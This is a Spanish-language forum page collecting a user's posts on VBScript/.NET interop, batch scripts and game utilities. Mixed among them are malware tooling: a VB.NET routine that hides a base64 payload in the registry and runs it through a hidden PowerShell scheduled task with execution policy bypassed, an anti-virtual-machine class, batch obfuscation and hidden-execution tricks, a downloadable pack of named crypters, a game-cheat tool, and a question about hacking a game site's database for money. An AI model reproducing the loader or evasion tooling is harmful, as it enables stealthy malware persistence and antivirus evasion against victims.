Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Aincrad

#1
hola que tal, se acuerdan de este Post? : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En el que comente hace dos años, bueno ya me he puesto manos a la obra, y vengo a compartir lo que llevo hecho .



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Es una biblioteca COM que agrega la capacidad de usar .NET Framework de lenguajes scripts de windows más antiguos; como VBScript/JScript.

Caracteriticas :

  • Importación de .NET Framework o bibliotecas de terceros. hecho en .NET
  • Buscar clases y objetos
  • Creación y almacenamiento de Instancias [Desde script VBS/JS]
  • Gestión de objetos [Desde script VBS/JS]
  • Se admiten métodos estáticos. [Solucionado]

ahora bien, las caracteristicas que falta implementar :

  • Gestión de eventos ❌ [Esto es realmente necesario, pero no sé cómo hacerlo.]
  • Inventa una forma de hacer Callbacks desde .NET a VBS/JS Script. ❌
  • Cree un convertidor de tipos de .Net para poder ser usados desde el Script
  • Llamada de eventos [Esto es más simple, puedo obtener el puntero del evento y ejecutar ".Invoke" (VBS/JS) o RaiseEvent desde .NET]

las caracteristicas que tienen ❌ , significa que no tengo ni idea de como hacerlo.
Cualquier caracteristica adicional, son libres de comentar.



Como usar?:

1) Descargue la libreria COM y registrela. (el .zip ya trae un .bat , para registrar la libreria, ejecute el "Register COM.bat")

Descarga : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

2) Cree su Script, agregare dos ejemplos en VBS .

- Cree y Maneje un Formulario .NET (Winform)

Código: vb
' Call Core
Dim InteropDotNet  : Set InteropDotNet = CreateObject("Script.Interop.Net.Linker")
' Create Import/using (equivalent)
Dim AssemblyTarget : Set AssemblyTarget = InteropDotNet.GetAssembly("System.Windows.Forms")
' Get Form Class From AssemblyTarget 
Dim ClassType : Set ClassType = AssemblyTarget.GetTypeByAssembly("Form")
' Create New Form Instance.
Dim FormNewInstance : Set FormNewInstance = ClassType.CreateInstance()
' Set Form Title
FormNewInstance.Text = "New Form"
' Show Form
FormNewInstance.ShowDialog()

 - Leer un archivo de texto (Desde .NET)

Código: vb
'File Path Example
Dim FilePath : FilePath = "File.txt"

' Call Core
Dim InteropDotNet  : Set InteropDotNet = CreateObject("Script.Interop.Net.Linker")
' Create Import/using (equivalent)
Dim AssemblyTarget : Set AssemblyTarget = InteropDotNet.GetAssembly("mscorlib")
' Get Form Class From AssemblyTarget 
Dim ClassType : Set ClassType = AssemblyTarget.GetTypeByAssembly("File")

'Get Methods By Name and Result Type
Dim Methods : Set Methods = ClassType.GetMethods("ReadAllText!String")

'Filter By Parameters and Call Function -> System.IO.File.ReadAllText(String)
Dim Result : Result = Methods.InvokeCall("-String " & FilePath)

' Show Content
Msgbox Result



Contribuciones

Son libres de ayudar en este proyecto, pueden comentar ideas o aportar directamente al codigo.

Source Code : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Gracias por leer!

#2
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOLA!!!

No, el OCX no usaba el VBS era totalmente al reves, el VBS llamaba al OCX y cada control del OCX tenia un sub en el VBS para que cuando pasara X se ejecute su codigo.

GRACIAS POR LEER!!!

Me has una gran pista. ya estoy enpezando a Crear No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, para posteriormente ponerme remasterizar esto. xd

#3
Hola a todos.

Bueno he creado mi propia COM en .NET, es una venta Debug para tus VBS Scrips

La idea la he sacado de este Post : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Pasos Para Instalar :

1) Descargar y extraer : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
2) Ejecutar "RegisterComObject.exe" y registrar la DLL "VBSDebugger.DLL"



3) Llamar COM desde tu vbs y Disfrutar.





Para Usarlo debemos agregar esta funcion al inicio de nuestro Script vbs :

Código: vb
Dim oMIE 
Function Debug(T)
    If Not IsObject( oMIE ) Then
       Set oMIE = CreateObject("VBSDebugger.Debug")
           oMIE.SetDialogTitle("VBS Debugger By Aincrad")
           oMIE.ToolBar(False)
           oMIE.SetDialogWidth(603)
           oMIE.SetDialogHeight(335)
           oMIE.OpenDebugDialog()
     End If
           oMIE.Write(T)
End Function


Y para llamamos la funcion asi :

Código: vb
Debug "hola"






Aqui un ejemplo :

Código: vb
Dim oMIE 
Function Debug(T)
    If Not IsObject( oMIE ) Then
       Set oMIE = CreateObject("VBSDebugger.Debug")
           oMIE.SetDialogTitle("Cutt.Ly Logger")
           oMIE.ToolBar(False)
           oMIE.SetDialogWidth(603)
           oMIE.SetDialogHeight(335)
           oMIE.OpenDebugDialog()
     End If
           oMIE.Write(T)
End Function

Debug "Starting Cutt.Ly Logger By Aincrad"
  Dim IE
  Dim MyDocument
    Set IE = CreateObject("InternetExplorer.Application")
          IE.Visible = 0
          IE.navigate "https://cutt.ly/RjmR9Bj"
    While IE.ReadyState <> 4 : WScript.Sleep 100 : Wend
    Debug "Ready Page Loaded"
    WScript.Sleep(5000)
    IE.Quit


Se Veria ASI :



No Olviden Comentar!!  ::)
#4
Hola, si ya he contactado, espero que algun dia me conteste xd.

de hecho ya lo tenia en mente usar hta. pero mshta esta basado en IE. y todos los sistemas operativos de windows 7 por ejemplo tienen versiones desactualizadas. esto conlleva a errores de ejecucion de scripts entre otras cosas. por lo tanto descarte esta opcion.

Ahora me he decidido algo mejor , intentar manejar los controles de .net. como lo hace powershell. 

alguna otra sugerencia ? por cierto tienes alguna idea de como ejecutaba codigo vbs esa ocx ? como le hacia para ejecutar el codigo por piezas ?
#5
En efecto es una lastima. pero el favorito de Microsoft es C#. y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ya basicamente murio.  :'(

#6
Porfavor actualiza los Links, Tengo pensado en ver como funciona. y como ejecuta codigo vbs . la idea es que quiero hacer lo mismo pero completamente actualizado.

Por ejemplo un vbs. como cualquier lenguaje Script. se ejecuta todo linea por lina.

Pero Con este se supone que ejecutara el codigo vbs por piezas. no se si me explico. Un Boton Ejecutara su codigo y otro boton ejecutara otro codigo vbs. Me pregunto si en un mismo proceso host. o en diferente procesos host.

La verdad quiero ver como funciona, pero los links esta desactualizados.
#7
Hola, Hago este Post para los que todavía hacen sus script Batch y quieran algo de Proteccion.

Bueno Primero que nada , el sacarle el codigo a un Script Batch es demasiado sencillo, ya sea hacer Dump a la salida de comandos etc...

Bueno hice este pequeño editor de codigo de tan solo 1.7mb . Codigo Fuente : (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)





Antes que nada ya habia posteado algunos obfuscadores para Batch anteriormente, que los habia codeado en batch , link para el que le interese :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno pero estas dos versiones tenian un gran , prero gran bug. el cual al Obfuscar llamadas a variables (ej : %variable%) pues de jodia todo , no servia. pueden leer mas en los link que puse anteriormente .




Bueno ahora en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta acomode dicho bug. ya esta listo :

Link de Descarga del IDE:  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno a Continuacion imagenes :

1)Codigo a Obfuscar :



2) Seleccionamos la Opcion que desemos para obfuscar :



3) Codigo Obfuscado  :



4) La Salida Siempre es la misma :



Sin Embargo Un DUMP a la salida de comandos o un Debug simple y ya te sacaran el codigo :

Ej :


Código: php
Tubat.bat > Codigo.txt 2>&1


Por eso siempre es preferible Obfuscar y Convertir a .exe tu script.




Es posible que cuando Obfusques algun simbolo y corras el script se bugee, eso lo solucionare mas adelante , si pueden ayudarme a encontrar que simbolos son los que hace que se bugee seria mejor, gracias por leer.


#8
C# - VB.NET / [Source] Monaco Script Editor
Febrero 27, 2020, 12:09:09 PM
Hola, bueno como dice el titulo , hice una pequeño Editor de texto usando Monaco Text Editor.

Se le ire agregando algunas herramientas. obfuscadores, Convertidores. etc...

he aqui el link : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



#9
C# - VB.NET / [SOURCE-CODE] External No Recoil .
Febrero 21, 2020, 01:17:36 PM
No Manipula/ Edita la Memoria del Juego.
Solo Trabaja con el mause, esto lo hace INDETECTABLE y Universal a cualquier Juego FPS, Hasta ahora solo lo he Probado en :
Operation7 Sofnix y Counter Striker 1.6 .


Se Destaca en OPERATION7 ya que las armas tienen demasiado Retroceso.

Descripción de como usar , esta todo en Github :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Imagenes ( Con el Programa / Sin el Programa) :





Creditos a Mi.



#10
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Igual... ese comentario es de un desarrollador que estuvo en VB6 como yo, me equivoco?

Jejeje, tienes toda la razón empece con VB6. y después me pase a .net .

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Viste este post? puede servirte, aun no esta parcheado No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si, De mucha ayuda para usarlo en un Crypter xdd . tal vez lo haga .

#11
C# - VB.NET / [VB.NET] Anti - Virtual Machine
Junio 21, 2019, 08:33:09 PM
Bueno Estoy Codeando una serie de class de Monitoramiento Async . entre ellas ya termine mi ANTI - VM.
asi que la comparto con ustedes :



Como usar :
       -Agregar 1 timer  , Enabled = True , Interval = 1

         Pegar el siguiente Codigo :

     


Código: vbnet
Dim VMDetection As Boolean = ProtectVM.IsVirtualMachinePresent
        Dim VMDescription As String = ProtectVM.DescriptcionVM

        If VMDetection = True Then
            Msgbox("Detect : " & VMDescription)
            Timer1.Enabled = False
        End If


Class - AntiVM

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#12
Primero que todo , Que Buen Aporte ! , tal vez te intereza hecharle un ojo a este Run :  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

lo Edite un poco a mi manera:

Código: vbnet
 ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Handles the <see cref="RunPowerShell"/> event of Execute Payload.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="FilePath">
    ''' Path to Payload.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------

    Public Sub RunPowerShell(ByVal FilePath As String)
        On Error Resume Next

        Dim Payload As String = String.Empty

        Dim PS As String =
<a><![CDATA[powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)]]></a>.Value
       
        Dim PYLDSTR As String = ConvertFileToBase64(FilePath)

        CreateSubKey("Software\PYLDAPP", "PYLD", PYLDSTR)
        Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
            .FileName = "schtasks",
            .Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
            .CreateNoWindow = True,
            .ErrorDialog = False,
            .WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
            })
    End Sub

    Public Sub CreateSubKey(ByVal Key As String, ByVal ValueName As String, _
                             ByVal Value As String)
        Microsoft.Win32.Registry.CurrentUser.CreateSubKey(Key).SetValue(ValueName, Value)
    End Sub

    Public Function ConvertFileToBase64(ByVal fileName As String) As String
        Return Convert.ToBase64String(System.IO.File.ReadAllBytes(fileName))
    End Function



Por Otra parte estas usando muchos Try para literalmente hacer lo errores Invisibles ni los usas para llevar un LOG. eso aparte de quitarle la estetica al codigo es innecesario (el colocar tantos try) con 1 bastaba . pero lo que quieres es que no salgan los errores asi q con el On Error Resume Nex tienes.
#13
C# - VB.NET / [SOURCE-CODE] Real D3D Menu in VB.NET
Abril 11, 2019, 10:29:09 PM
Bueno hice un mini menu D3D , Solo funciona con juegos que usan Directx 9.

Obiamente si funciona con los juegos en pantalla completa.

Link : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#14
Bueno, no es por desprecio pero he visto mejores codes haciendo ping , y no entiendo de porque haces la barra de carga asi. hay muchisimas otras maneras de hacer una barra de carga en batch. q solo llevan unas 3 o 4 lineas.

ej : barra de carga .

Código: dos
for /L %%a in (0 1 30) do (
set/p=Û<nul
>nul ping -n 1 127.0.0.1
)



///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

bueno acerca de la manera en que haces ping. puedes reutilizar mi codigo, Incluye log.

Código: dos
@echo off
color a
goto kill
:format

Rem by **Aincrad**
set año=%date%
Set hora=%time:~0,8%

Set nombre= [%año%]-[%hora%]
set Ip=127.0.0.1

if not exist log.txt goto Createlog >nul

  echo Haciendo Ping a %Ip% ... (Revisar el Archivo LOG).
(
    echo/
     echo %nombre%
    echo/
    echo/
     ping %Ip% -n 1
    echo/
   echo/
  echo/
echo ---------------------------------------------------------------------------------------------- )>>log.txt
goto format


:Createlog
echo Underc0de Forum >log.txt
goto format

:kill
tasklist | find /i "PING.exe" && (
TASKKILL /IM "PING.exe" /F
goto format
) || (
goto format
)


/////////////////////////////////////////////////////////////////////////////////////////////////////////

Otra manera, -codigo ;

Código: dos
@ECHO Off
set ipf=127.0.0.1
(
  FOR /L %%i in (1,1,5) do (
    <nul (set /p tm=%date% %time:~,-3% )
    PING -n 1 %ipf%| FIND "TTL"
  )
) >> pg.txt


Saludos
#15
C# - VB.NET / [SOURCE-CODE] Color.NET - Color Picker
Noviembre 15, 2018, 11:23:02 PM
Bueno el compañero @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ya había hecho uno , pero ya no compartió mas el código fuente así que me vi en la tarea de buscar por mi cuenta y hacerme yo mismo el mio, he usado una Libreria que me facilito todo XD
.






Source Code + Executable

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#16
Hola foro , ando perdido  ;D es que andaba de vacaciones :v y ahorita es que Empieza la universidad .

Bueno esto lo hice hace unos dias espero que les guste (Alfin aprendi a subir proyectos a Github wii  :D) :




La aplicación te permite escuchar música de Emisoras en línea, también tiene un sistema que te permite escuchar y mirar videos YOUTUBE.

caracteristicas:

* Poco consumo de RAM

* No causa retraso mientras juegas o trabajas.

* GUI comprensible y moderna

*Totalmente libre






Links:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Imagenes:









PD: A los amantes del Rock , Kpop, Pop y mas le gustara la radio! tiene exelente musica


#17
Batch - Bash / [BATCH] Batch Auto Hide Start [BAHS]
Julio 20, 2018, 03:40:43 PM
Hola foro, Bueno les traigo un simple codigo que se me ocurrio esta mañana leyendo un post de otro foro.

Bueno este simple código les sirve para  ejecutar su código batch Invisible. bueno aqui el batch :

Código: bash
@echo off

:Comandline
IF ["%~1"]==["-e"] goto o

:Crear vbs
set Batch=%~dpnx0
(
echo set objshell ^= createobject^("wscript.shell"^)
echo objshell^.run "%Batch% -e"^,vbhide ) > %temp%\bas.vbs
start %temp%\bas.vbs
exit

:o
::::::::::::::::::::::::::::::::
:: Tu código aquí...           :
::::::::::::::::::::::::::::::::


Bueno a decir verdad se abre la consola cuando crea el vbs, pero el vbs se encargara de ejecutar tu codigo invisible.  :P




Aunque la mejor opción para hacer un batch invisible es convertirlo a .EXE , Les recomiendo mi sencilla app:

link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno espero que les sirva de algo este sencillo aporte.   ;D
#18
HOLA Foro, Bueno tengo una duda;

Hay un juego Llamado San Andreas Multiplayer (SAMP) , Mas bien es un programa que te permite jugar Gta san adreas en mutijugador Online. Bueno hay un server en especifico que tiene su propia web en la cual al registrarte desde el juego te crea una cuenta en la pagina web... (Lo que quiero decir es que : El Juego(server) esta viinculado a la pagina, eso incluye los objetos , dinero que tiene el personaje...) .

Puedes Gestionar/comprar cosas con el dinero que tienes tanto por el juego como por la web... Mi Pregunta es : Es posible Hackear la Base de Datos de la web para ponerme por ejemplo 999999 de dinero?

Link:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

foto del foro en la seccion de mi cuenta :

#19
Instala este antivirus : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

después analiza tu pc con ese antivirus y si no detecta nada es otra cosa y no un virus . te digo que descargues este por que es el mas completo antivirus que existe.

me avisas después de que escanees tu pc .
#20
Resubido , por que no servia el primero .  ;D

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

lo abres y el programa descargara un archivo Zip con un pack de Crypters.

El pack contiene :

Código: php
2012-Crypter
    Anonymous Joiner
    Assassins Creed Bin
    C-51-Crypter
    Camuflaje-Crypter
    Camuflaje-Simplev1
    Camuflaje-Simplev2
    Cardi Crypter
    ChukyCrypter
    Cold Seal Cracked
    Cruz-Crypter
    CyRuX-Crypter v1
    Cyrux Crypter
    Estrella-Crypter
    Ferrari v1
    Grab link
    InsidiousCrypter
    Islas Malvinas-Crypter
    Kill Zone
    Lito Vitale Crypter
    Machine Fud
    Masters Hackers
    Matatan-Crypter
    Metal Crypter
    Metal_Kingdom-Crypter v1
    Mueran Avs Crypter v1
    Mueran Avs Crypter v2
    PRIVATE M3
    Paz Crypter
    Pedro-Crypter
    Poison123-Crypter
    Poyson Ivy protector
    S.C By M3
    SEXY v1
    Sexy v2
    Sexy v3
    Sexy v4
    Techo negro
    Tesuda
    UD tools
    UDTools-Crypter
    Under M3
    Yeikel-Crypter
    cattyperryCrypter
    chronic
    chucky
    coluche
    conejitacrypter
    crypterdeathnote


Si deja de funcionar avisen en los comentarios.

SALUDOS